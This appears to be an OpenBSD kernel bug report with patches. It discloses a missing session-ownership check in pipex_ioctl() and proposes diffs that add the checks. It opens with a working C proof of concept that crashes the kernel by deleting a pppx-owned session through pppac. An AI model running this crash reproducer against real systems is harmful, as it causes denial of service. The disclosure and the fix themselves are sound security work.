pipex(4) has pipex_ioctl() interface for pipex_session related routines.
pipex_ioctl() calls should be done with pipex_iface_contex, so any
operations should be done with pipex_sessions owned by passed
pipex_iface_contex. pipex_session check ownership is missing within
pipex_ioctl() so anybody can do pipex_ioctl() commands PIPEXDSESSION,
PIPEXCSESSION, PIPEXGSTAT and PIPEXGCLOSED on any pipex_session.
PIPEXDSESSION on foreign pppx(4) owned pipex_session will crash kernel.
Code to reproduce and screenshot attached below. Diffs below add
pipes_session ownrship check to pipex_ioctl() internals.
---- cut begin
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <stdio.h>
#include <err.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <net/if.h>
#include <net/pipex.h>
#define PIPEX_CLOSE_TIMEOUT 30
int main(void)
{
int fd_pppx, fd_pppac;
struct pipex_session_req reqa;
struct pipex_session_close_req reqd;
if((fd_pppx=open("/dev/pppx0", O_RDWR))<0){
err(1, "open(pppx0)");
}
if((fd_pppac=open("/dev/pppac0", O_RDWR))<0){
err(1, "open(pppac0)");
}
memset(&reqa, 0, sizeof(reqa));
reqa.pr_protocol=PIPEX_PROTO_L2TP;
reqa.pr_peer_mru=1024;
reqa.pr_local_address.ss_family=AF_INET;
reqa.pr_local_address.ss_len=sizeof(struct sockaddr_in);
reqa.pr_peer_address.ss_family=AF_INET;
reqa.pr_peer_address.ss_len=sizeof(struct sockaddr_in);
inet_aton("10.0.0.1", &reqa.pr_ip_srcaddr);
inet_aton("10.0.0.2", &reqa.pr_ip_address);
inet_aton("255.255.255.255", &reqa.pr_ip_netmask);
if(ioctl(fd_pppx, PIPEXASESSION, &reqa)<0){
err(1, "ioctl(fd_pppx, PIPEXASESSION)");
}
memset(&reqd, 0, sizeof(reqd));
reqd.pcr_protocol=PIPEX_PROTO_L2TP;
if(ioctl(fd_pppac, PIPEXDSESSION, &reqd)<0){
err(1, "ioctl(fd_ppaac, PIPEDSESSION)");
}
sleep(PIPEX_CLOSE_TIMEOUT+1);
return 0;
}
---- cut end
This diff fix pipex_ioctl(PIPEXDSESSION) crash issue
---- cut begin
diff --git sys/net/pipex.c sys/net/pipex.c
index 3da8ed8..22edce3 100644
--- sys/net/pipex.c
+++ sys/net/pipex.c
@@ -230,7 +230,7 @@ pipex_ioctl(struct pipex_iface_context *pipex_iface, u_long
cmd, caddr_t data)
case PIPEXDSESSION:
ret = pipex_close_session(
- (struct pipex_session_close_req *)data);
+ (struct pipex_session_close_req *)data, pipex_iface);
break;
case PIPEXCSESSION:
@@ -489,7 +489,8 @@ pipex_notify_close_session_all(void)
}
Static int
-pipex_close_session(struct pipex_session_close_req *req)
+pipex_close_session(struct pipex_session_close_req *req,
+ struct pipex_iface_context *iface)
{
struct pipex_session *session;
@@ -498,6 +499,8 @@ pipex_close_session(struct pipex_session_close_req *req)
req->pcr_session_id);
if (session == NULL)
return (EINVAL);
+ if (session->pipex_iface != iface)
+ return (EINVAL);
/* remove from close_wait list */
if (session->state == PIPEX_STATE_CLOSE_WAIT)
diff --git sys/net/pipex_local.h sys/net/pipex_local.h
index cf02c8e..ad3c3d3 100644
--- sys/net/pipex_local.h
+++ sys/net/pipex_local.h
@@ -369,7 +369,8 @@ extern struct pipex_hash_head pipex_id_hashtable[];
void pipex_iface_start (struct pipex_iface_context *);
void pipex_iface_stop (struct pipex_iface_context *);
int pipex_add_session (struct pipex_session_req *, struct
pipex_iface_context *);
-int pipex_close_session (struct pipex_session_close_req *);
+int pipex_close_session (struct pipex_session_close_req *,
+ struct pipex_iface_context *);
int pipex_config_session (struct pipex_session_config_req *);
int pipex_get_stat (struct pipex_session_stat_req *);
int pipex_get_closed (struct pipex_session_list_req *);
---- cut end
This diff add ownership checks to the rest pipex_ioctl() commands. A few
words about pppx_get_closed(): since in-kernel timeout feature was
disabled for pppx(4) related pipex_sessions, closed pipex_sessions can't
exist in system, so this function is dummy. I have an idea how to
reenable this disabled timeout, but some reafactoring requited, and fair
pipex_ioctl(PIPEXGCLOSED) call will be restored.
---- cut begin
diff --git sys/net/if_pppx.c sys/net/if_pppx.c
index 37a6af0..6c4977d 100644
--- sys/net/if_pppx.c
+++ sys/net/if_pppx.c
@@ -175,6 +175,12 @@ int pppx_add_session(struct pppx_dev *,
struct pipex_session_req *);
int pppx_del_session(struct pppx_dev *,
struct pipex_session_close_req *);
+int pppx_config_session(struct pppx_dev *,
+ struct pipex_session_config_req *);
+int pppx_get_stat(struct pppx_dev *,
+ struct pipex_session_stat_req *);
+int pppx_get_closed(struct pppx_dev *,
+ struct pipex_session_list_req *);
int pppx_set_session_descr(struct pppx_dev *,
struct pipex_session_descr_req *);
@@ -451,16 +457,18 @@ pppxioctl(dev_t dev, u_long cmd, caddr_t addr, int flags,
struct proc *p)
break;
case PIPEXCSESSION:
- error = pipex_config_session(
+ error = pppx_config_session(pxd,
(struct pipex_session_config_req *)addr);
break;
case PIPEXGSTAT:
- error = pipex_get_stat((struct pipex_session_stat_req *)addr);
+ error = pppx_get_stat(pxd,
+ (struct pipex_session_stat_req *)addr);
break;
case PIPEXGCLOSED:
- error = pipex_get_closed((struct pipex_session_list_req *)addr);
+ error = pppx_get_closed(pxd,
+ (struct pipex_session_list_req *)addr);
break;
case PIPEXSIFDESCR:
@@ -947,6 +955,40 @@ pppx_del_session(struct pppx_dev *pxd, struct
pipex_session_close_req *req)
return (0);
}
+int
+pppx_config_session(struct pppx_dev *pxd,
+ struct pipex_session_config_req *req)
+{
+ struct pppx_if *pxi;
+
+ pxi = pppx_if_find(pxd, req->pcr_session_id, req->pcr_protocol);
+ if (pxi == NULL)
+ return (EINVAL);
+
+ return pipex_config_session(req, &pxi->pxi_ifcontext);
+}
+
+int
+pppx_get_stat(struct pppx_dev *pxd, struct pipex_session_stat_req *req)
+{
+ struct pppx_if *pxi;
+
+ pxi = pppx_if_find(pxd, req->psr_session_id, req->psr_protocol);
+ if (pxi == NULL)
+ return (EINVAL);
+
+ return pipex_get_stat(req, &pxi->pxi_ifcontext);
+}
+
+int
+pppx_get_closed(struct pppx_dev *pxd, struct pipex_session_list_req *req)
+{
+ /* XXX: Only opened sessions exist for pppx(4) */
+ memset(req, 0, sizeof(*req));
+
+ return 0;
+}
+
int
pppx_set_session_descr(struct pppx_dev *pxd,
struct pipex_session_descr_req *req)
diff --git sys/net/pipex.c sys/net/pipex.c
index 22edce3..219e18d 100644
--- sys/net/pipex.c
+++ sys/net/pipex.c
@@ -235,15 +235,17 @@ pipex_ioctl(struct pipex_iface_context *pipex_iface,
u_long cmd, caddr_t data)
case PIPEXCSESSION:
ret = pipex_config_session(
- (struct pipex_session_config_req *)data);
+ (struct pipex_session_config_req *)data, pipex_iface);
break;
case PIPEXGSTAT:
- ret = pipex_get_stat((struct pipex_session_stat_req *)data);
+ ret = pipex_get_stat((struct pipex_session_stat_req *)data,
+ pipex_iface);
break;
case PIPEXGCLOSED:
- ret = pipex_get_closed((struct pipex_session_list_req *)data);
+ ret = pipex_get_closed((struct pipex_session_list_req *)data,
+ pipex_iface);
break;
default:
@@ -514,7 +516,8 @@ pipex_close_session(struct pipex_session_close_req *req,
}
Static int
-pipex_config_session(struct pipex_session_config_req *req)
+pipex_config_session(struct pipex_session_config_req *req,
+ struct pipex_iface_context *iface)
{
struct pipex_session *session;
@@ -523,36 +526,44 @@ pipex_config_session(struct pipex_session_config_req *req)
req->pcr_session_id);
if (session == NULL)
return (EINVAL);
+ if (session->pipex_iface != iface)
+ return (EINVAL);
session->ip_forward = req->pcr_ip_forward;
return (0);
}
Static int
-pipex_get_stat(struct pipex_session_stat_req *req)
+pipex_get_stat(struct pipex_session_stat_req *req,
+ struct pipex_iface_context *iface)
{
struct pipex_session *session;
NET_ASSERT_LOCKED();
session = pipex_lookup_by_session_id(req->psr_protocol,
req->psr_session_id);
- if (session == NULL) {
+ if (session == NULL)
+ return (EINVAL);
+ if (session->pipex_iface != iface)
return (EINVAL);
- }
req->psr_stat = session->stat;
return (0);
}
Static int
-pipex_get_closed(struct pipex_session_list_req *req)
+pipex_get_closed(struct pipex_session_list_req *req,
+ struct pipex_iface_context *iface)
{
- struct pipex_session *session;
+ struct pipex_session *session, *session_next;
NET_ASSERT_LOCKED();
bzero(req, sizeof(*req));
- while (!LIST_EMPTY(&pipex_close_wait_list)) {
- session = LIST_FIRST(&pipex_close_wait_list);
+ for (session = LIST_FIRST(&pipex_close_wait_list);
+ session; session = session_next) {
+ session_next = LIST_NEXT(session, state_list);
+ if (session->pipex_iface != iface)
+ continue;
req->plr_ppp_id[req->plr_ppp_id_count++] = session->ppp_id;
LIST_REMOVE(session, state_list);
session->state = PIPEX_STATE_CLOSE_WAIT2;
diff --git sys/net/pipex_local.h sys/net/pipex_local.h
index ad3c3d3..c124eb9 100644
--- sys/net/pipex_local.h
+++ sys/net/pipex_local.h
@@ -371,9 +371,12 @@ void pipex_iface_stop (struct
pipex_iface_context *);
int pipex_add_session (struct pipex_session_req *, struct
pipex_iface_context *);
int pipex_close_session (struct pipex_session_close_req *,
struct pipex_iface_context *);
-int pipex_config_session (struct pipex_session_config_req *);
-int pipex_get_stat (struct pipex_session_stat_req *);
-int pipex_get_closed (struct pipex_session_list_req *);
+int pipex_config_session (struct pipex_session_config_req *,
+ struct pipex_iface_context *);
+int pipex_get_stat (struct pipex_session_stat_req *,
+ struct pipex_iface_context *);
+int pipex_get_closed (struct pipex_session_list_req *,
+ struct pipex_iface_context *);
int pipex_destroy_session (struct pipex_session *);
struct pipex_session *pipex_lookup_by_ip_address (struct in_addr);
struct pipex_session *pipex_lookup_by_session_id (int, int);
---- cut end
